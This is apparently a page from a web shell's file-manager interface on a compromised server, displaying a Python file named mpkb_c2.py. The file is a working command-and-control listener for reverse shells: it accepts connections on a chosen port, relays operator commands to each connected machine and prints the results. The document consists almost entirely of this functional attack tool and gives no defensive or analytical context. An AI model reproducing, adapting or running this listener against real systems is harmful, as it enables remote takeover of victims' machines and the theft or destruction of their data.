Your IP : 216.73.216.79


Current Path : /opt/
Upload File :
Current File : //opt/mpkb_c2.py

#!/usr/bin/env python3
import socket
import threading
import sys
import os
import datetime

LISTENERS = {}

def log(msg):
    print(f"[{datetime.datetime.now().strftime(\"%H:%M:%S\")}] {msg}")

def handle_client(conn, addr, listener_id):
    log(f"[{listener_id}] Connection from {addr}")
    try:
        while True:
            cmd = input(f"{listener_id}> ")
            if cmd.lower() in ["exit", "quit"]:
                break
            conn.sendall((cmd + "\n").encode())
            response = conn.recv(4096).decode(errors="ignore")
            print(response, end="")
    except Exception as e:
        log(f"[{listener_id}] Error: {e}")
    finally:
        conn.close()
        log(f"[{listener_id}] Connection closed")

def start_listener(port, listener_id):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", port))
    server.listen(5)
    LISTENERS[listener_id] = server
    log(f"[{listener_id}] Listening on port {port}")
    
    while True:
        conn, addr = server.accept()
        threading.Thread(target=handle_client, args=(conn, addr, listener_id), daemon=True).start()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 mpkb_c2.py <port>")
        sys.exit(1)
    start_listener(int(sys.argv[1]), "mpkb")